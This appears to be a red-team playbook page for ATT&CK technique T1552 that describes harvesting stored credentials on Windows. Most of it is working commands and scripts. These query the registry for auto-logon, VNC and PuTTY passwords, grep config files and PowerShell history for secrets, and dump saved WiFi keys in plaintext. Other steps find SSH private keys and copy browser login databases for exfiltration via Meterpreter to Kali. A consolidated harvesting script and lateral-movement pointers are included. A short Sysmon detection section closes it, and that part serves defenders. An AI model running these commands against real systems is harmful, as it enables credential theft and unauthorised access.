T1552: Credentials in Files and Registry
Covers: T1552.001 - Credentials in Files, T1552.002 - Credentials in Registry, T1552.004 - Private Keys
Technique Requirementsβ
| Privileges Required | User (most searches) / Administrator (some registry paths and IIS config) |
| Effective Permissions | Context of the invoking user |
| Employment Complexity | 1/5 - Very Low |
| Detection Complexity | 2/5 - Low (standard LOL binaries doing filesystem and registry queries; volume of queries is the tell) |
Backgroundβ
Before attempting LSASS dumping or hive exports, search for plaintext credentials already stored on the system. Administrators and developers frequently leave credentials in configuration files, scripts, registry keys, and automated deployment artifacts. Finding one plaintext password often unlocks more access than a credential dump.
Why this is the right first credential technique:
- Requires no elevated privileges for most searches
- Finds plaintext passwords - no cracking required
- Often reveals service account and domain admin credentials stored in deployment configs
- Runs against a non-volatile source - credentials in files survive reboots and don't depend on who is currently logged on
Run this before or alongside T1003 - OS Credential Dumping. If a plaintext password is found here, you may not need LSASS at all.
Phase 1: Registry Credential Sources (T1552.002)β
Auto-Logon Credentialsβ
Stored by administrators who configured Windows to log on automatically. When present, the password is stored in plaintext:
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultUserName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultPassword
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultDomainName
Or dump the entire key:
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"
DefaultPassword present and non-empty = immediate credential. This is more common than it should be on shared workstations and kiosk systems.
VNC Passwordsβ
Several VNC implementations store passwords in the registry in weak or reversible encoding:
# RealVNC
reg query "HKCU\Software\RealVNC\WinVNC4" /v Password
reg query "HKLM\Software\RealVNC\WinVNC4" /v Password
# TightVNC
reg query "HKCU\Software\TightVNC\Server" /v Password
reg query "HKCU\Software\TightVNC\Server" /v ControlPassword
reg query "HKLM\Software\TightVNC\Server" /v Password
# UltraVNC
reg query "HKLM\Software\ORL\WinVNC3\Default" /v Password
reg query "HKCU\Software\ORL\WinVNC3" /v Password
VNC passwords are stored as an 8-byte DES-encrypted value. They can be decoded with freely available tools (e.g., vncpwd) on Kali - note the hex output and decode offline.
PuTTY Saved Sessionsβ
PuTTY stores SSH session configuration including proxy credentials in the registry:
# List all saved sessions
reg query "HKCU\Software\SimonTatham\PuTTY\Sessions"
# Dump all session details (may include ProxyPassword, ProxyUsername)
reg query "HKCU\Software\SimonTatham\PuTTY\Sessions" /s
Look for ProxyPassword, ProxyUsername, and HostName values - these map to real infrastructure.
SNMP Community Stringsβ
reg query "HKLM\SYSTEM\CurrentControlSet\Services\SNMP\Parameters\ValidCommunities"
reg query "HKLM\SYSTEM\CurrentControlSet\Services\SNMP" /s
Community strings are effectively passwords for SNMP-managed devices. A public/private community string with write access can lead to lateral movement against network infrastructure.
Putty Host Keys (infrastructure mapping)β
reg query "HKCU\Software\SimonTatham\PuTTY\SshHostKeys"
Lists every SSH host this user has connected to and accepted a key from - useful for infrastructure mapping even without a password.
Generic Credential Scan (broad registry search)β
# Search HKCU and HKLM for any value named "password" (slow but thorough)
reg query HKCU /s /f "password" /t REG_SZ
reg query HKLM /s /f "password" /t REG_SZ
This will return many false positives (help text, example values, etc.). Filter for non-empty values and examine surrounding key context to determine if a value is a real credential.
Phase 2: Filesystem Credential Search (T1552.001)β
Broad password search across common file typesβ
# Search current directory and subdirectories for "password" in common config/script files:
findstr /si "password" C:\*.xml C:\*.ini C:\*.txt C:\*.config C:\*.ps1 C:\*.bat C:\*.cmd
# Broader - search common application directories:
findstr /si "password" C:\inetpub\*.* C:\xampp\*.* C:\wamp\*.*
findstr /si "password" C:\Users\*.xml C:\Users\*.ini C:\Users\*.txt C:\Users\*.config
findstr /si "password" C:\ProgramData\*.xml C:\ProgramData\*.ini C:\ProgramData\*.config
findstr flag | Meaning |
|---|---|
/s | Search recursively in subdirectories |
/i | Case-insensitive |
/n | Print line numbers |
Target high-value file pathsβ
These specific paths are commonly found to contain credentials:
# Windows unattended install answers files - contain plaintext admin passwords
dir /s /b C:\Windows\*.xml | findstr /i "unattend\|sysprep"
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\unattended.xml
type C:\Windows\System32\Sysprep\unattend.xml
type C:\Windows\System32\Sysprep\sysprep.xml
# IIS web.config - database connection strings and app credentials
dir /s /b C:\inetpub\wwwroot\web.config
findstr /si "connectionString\|password\|pwd\|user id" C:\inetpub\wwwroot\web.config
# XAMPP / WAMP / MAMP config
type C:\xampp\phpMyAdmin\config.inc.php
type C:\wamp\apps\phpmyadmin*\config.inc.php
# Ansible, Terraform, and other automation tool credentials
dir /s /b C:\Users\*\.ansible
dir /s /b C:\Users\*\terraform.tfvars
# Git config - may contain credential helpers or embedded tokens
dir /s /b C:\Users\*\.gitconfig
dir /s /b C:\Users\*\.git-credentials
PowerShell credential search (more flexible)β
# Search all text files recursively for password-related keywords
$keywords = @("password", "passwd", "pwd", "credential", "secret", "apikey", "api_key", "token")
$paths = @("C:\inetpub", "C:\xampp", "C:\Users\$env:USERNAME", "C:\ProgramData")
foreach ($path in $paths) {
Get-ChildItem -Path $path -Recurse -ErrorAction SilentlyContinue -Include "*.xml","*.ini","*.txt","*.config","*.ps1","*.bat","*.cmd","*.json","*.yml","*.yaml","*.env" |
Select-String -Pattern ($keywords -join "|") -CaseSensitive:$false |
Select-Object Filename, LineNumber, Line |
Where-Object { $_.Line -notmatch "example|sample|placeholder|your-password-here" }
}
.env files (common in web applications)β
dir /s /b C:\*.env
dir /s /b C:\Users\*.env
.env files contain database URLs with embedded credentials in the format DATABASE_URL=postgres://user:password@host/db.
Phase 3: PowerShell Historyβ
PowerShell records every command typed in the interactive console to a history file. Credentials typed as arguments (passwords passed to net use, Invoke-Command, etc.) are captured verbatim.
# Find the history file path:
(Get-PSReadLineOption).HistorySavePath
# Read the history file directly (default location):
type "$env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt"
# Or using PowerShell:
Get-Content (Get-PSReadLineOption).HistorySavePath
Look for: net use with password arguments, Invoke-Command with PSCredential, Enter-PSSession with credential objects, New-Object PSCredential, any command containing an obvious password string.
# Filter history for lines containing credential-related keywords:
Get-Content (Get-PSReadLineOption).HistorySavePath |
Select-String -Pattern "password|passwd|credential|PSCredential|net use|secretsmanager" -CaseSensitive:$false
Phase 4: WiFi Passwords (T1552.001)β
LOL binary: netsh.exe
Windows stores WiFi profile passwords in plaintext. Any previously connected network's password is recoverable with user-level privileges:
# List all saved WiFi profiles:
netsh wlan show profiles
# Show password for a specific profile (replace <SSID> with the profile name):
netsh wlan show profile name="<SSID>" key=clear
# Show all saved profiles and passwords at once:
netsh wlan show profiles | findstr "All User Profile" | ForEach-Object {
$ssid = ($_ -split ":")[1].Trim()
netsh wlan show profile name="$ssid" key=clear | findstr "Key Content"
}
The Key Content field contains the plaintext WiFi password. On corporate networks, this may be the domain password if the user reused their credential for the corporate WiFi.
PowerShell version:
(netsh wlan show profiles) -match "All User Profile" | ForEach-Object {
$ssid = ($_ -split ": ")[1]
$result = netsh wlan show profile name=$ssid key=clear
$pw = ($result -match "Key Content") -replace ".*: ", ""
if ($pw) { [PSCustomObject]@{SSID=$ssid; Password=$pw} }
}
Phase 5: SSH Keys and Browser Data (T1552.004)β
SSH private keysβ
# Find SSH private keys in user profiles
dir /s /b $env:USERPROFILE\.ssh\
dir /s /b C:\Users\*\.ssh\id_rsa
dir /s /b C:\Users\*\.ssh\id_ecdsa
dir /s /b C:\Users\*\.ssh\id_ed25519
# Read a found key:
type $env:USERPROFILE\.ssh\id_rsa
An unencrypted private key can be used directly for SSH authentication. Download to Kali and use with ssh -i id_rsa user@target.
Browser-stored credentials (path only - parsing requires offline tools)β
Chrome and Edge store credentials in a SQLite database. The file paths are:
dir "%LOCALAPPDATA%\Google\Chrome\User Data\Default\Login Data"
dir "%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Login Data"
These files are locked while the browser is running. To read them:
- Copy the file to your staging area:
copy "%LOCALAPPDATA%\Google\Chrome\User Data\Default\Login Data" C:\Windows\Temp\ChromeLoginData - Download to Kali:
meterpreter > download C:\\Windows\\Temp\\ChromeLoginData /tmp/ - Parse on Kali with a Chrome credential parser (e.g.,
sqlite3, or tools likehindsight)
Chrome credentials are encrypted with DPAPI tied to the user's Windows login. Decryption requires the user's master key, which is accessible if you are running as that user. On modern Chrome (v80+), an additional AES key is stored in Local State - both files are needed for decryption. This is out of scope for LOL-only techniques but the file paths are worth documenting for Meterpreter exfiltration.
Consolidated Quick-Search One-Linerβ
Run this from an elevated or standard prompt to hit all registry and common file locations in one pass:
Write-Host "=== AUTO-LOGON ===" -ForegroundColor Cyan
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" 2>$null | Select-String "DefaultPass|DefaultUser"
Write-Host "=== VNC ===" -ForegroundColor Cyan
"HKCU\Software\RealVNC\WinVNC4","HKCU\Software\TightVNC\Server","HKLM\Software\TightVNC\Server","HKCU\Software\ORL\WinVNC3" | ForEach-Object {
reg query $_ 2>$null | Select-String "Password"
}
Write-Host "=== PUTTY ===" -ForegroundColor Cyan
reg query "HKCU\Software\SimonTatham\PuTTY\Sessions" /s 2>$null | Select-String "ProxyPass|HostName"
Write-Host "=== PS HISTORY ===" -ForegroundColor Cyan
Get-Content (Get-PSReadLineOption).HistorySavePath -ErrorAction SilentlyContinue |
Select-String "password|passwd|credential|net use" -CaseSensitive:$false | Select-Object -First 30
Write-Host "=== WIFI ===" -ForegroundColor Cyan
(netsh wlan show profiles) -match "All User Profile" | ForEach-Object {
$s = ($_ -split ": ")[1]
$p = (netsh wlan show profile name=$s key=clear) -match "Key Content" -replace ".*: ",""
if ($p) { "$s : $p" }
}
Write-Host "=== UNATTEND ===" -ForegroundColor Cyan
"C:\Windows\Panther\unattend.xml","C:\Windows\System32\Sysprep\unattend.xml","C:\Windows\System32\Sysprep\sysprep.xml" | ForEach-Object {
if (Test-Path $_) { Select-String "Password" $_ }
}
What to Expectβ
Auto-logon example:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon
DefaultUserName REG_SZ CORP\svc_kiosk
DefaultPassword REG_SZ Summer2024!
DefaultDomainName REG_SZ CORP
WiFi output:
SSID: CorpWiFi_5G
Password: C0rp@Wireles$2023
PS history hit:
net use \\fileserver\share /user:CORP\administrator P@ssw0rd123!
Any plaintext found feeds directly into:
- Lateral movement:
net use \\<TARGET> /user:<DOMAIN>\<USER> <PASSWORD>β see T1021 - Pass-the-Hash (if only hashes found): see T1003
Log Detectionβ
- Source:
Microsoft-Windows-Sysmon/Operational- EventID:
1(ProcessCreate)reg.exe queryagainstWinlogon,TightVNC,RealVNC,SimonTatham\PuTTYkeysfindstr.exewith/siagainst file pathsnetsh.exe wlan show profilewithkey=clear
- EventID:
11(FileCreate)- Copy of
Login Data(Chrome/Edge credential database) to staging path
- Copy of
- EventID:
- Source:
Security- EventID:
4688(Process creation with command line auditing)- Same as Sysmon EventID 1 above
- EventID:
- Source:
Microsoft-Windows-Sysmon/Operational- EventID:
12/13(Registry access)- Access to
HKCU\Software\SimonTatham,HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon
- Access to
- EventID: